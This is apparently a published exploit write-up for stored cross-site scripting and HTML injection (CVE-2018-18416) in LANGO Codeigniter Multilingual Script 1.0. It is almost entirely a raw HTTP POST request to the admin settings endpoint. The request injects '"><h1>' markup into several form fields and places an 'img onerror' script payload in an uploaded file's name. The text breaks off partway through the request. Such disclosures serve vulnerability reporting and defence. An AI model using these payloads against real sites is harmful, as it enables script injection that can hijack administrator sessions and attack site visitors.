LANGO Codeigniter Multilingual Script 1.0 - Cross-Site Scripting

# Exploit Title: LANGO Codeigniter Multilingual Script 1.0 - Cross-Site Scripting
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: http://pokkho.com/lango/
# Software Link : http://pokkho.com/lango/auth/login
# Software : LANGO - Codeigniter Multilingual Script
# Version : 1.0
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# CVE : CVE-2018-18416

# LANGO Codeigniter Multilingual Script 1.0 has XSS in the input and upload sections, as demonstrated by the
# site_name parameter to the admin/settings/update URI.
 
# HTTP POST Request :

POST /lango/admin/settings/update HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://TARGET/lango/admin/settings
Content-Type: multipart/form-data; boundary=---------------------------180989082911182658591910516947
Content-Length: 3150615
Cookie: csrf_cookie_name=4eeae5fca11e4ae108d667b67b52a0b3; ci_session=7ghu11a49n5ethf596t6g1ec5kfscncp
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------180989082911182658591910516947
Content-Disposition: form-data; name="site_name"

"><h1>Ismail Tasdelen</h1>
-----------------------------180989082911182658591910516947
Content-Disposition: form-data; name="site_title"

"><h1>Ismail Tasdelen</h1>
-----------------------------180989082911182658591910516947
Content-Disposition: form-data; name="keywords"

Multilanguage ,Codeigniter Multilanguage Script,"><h1>Ismail Tasdelen</h1>
-----------------------------180989082911182658591910516947
Content-Disposition: form-data; name="description"

"><h1>Ismail Tasdelen</h1>
-----------------------------180989082911182658591910516947
Content-Disposition: form-data; name="photo1"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")>.jpg"
Content-Type: image/jpeg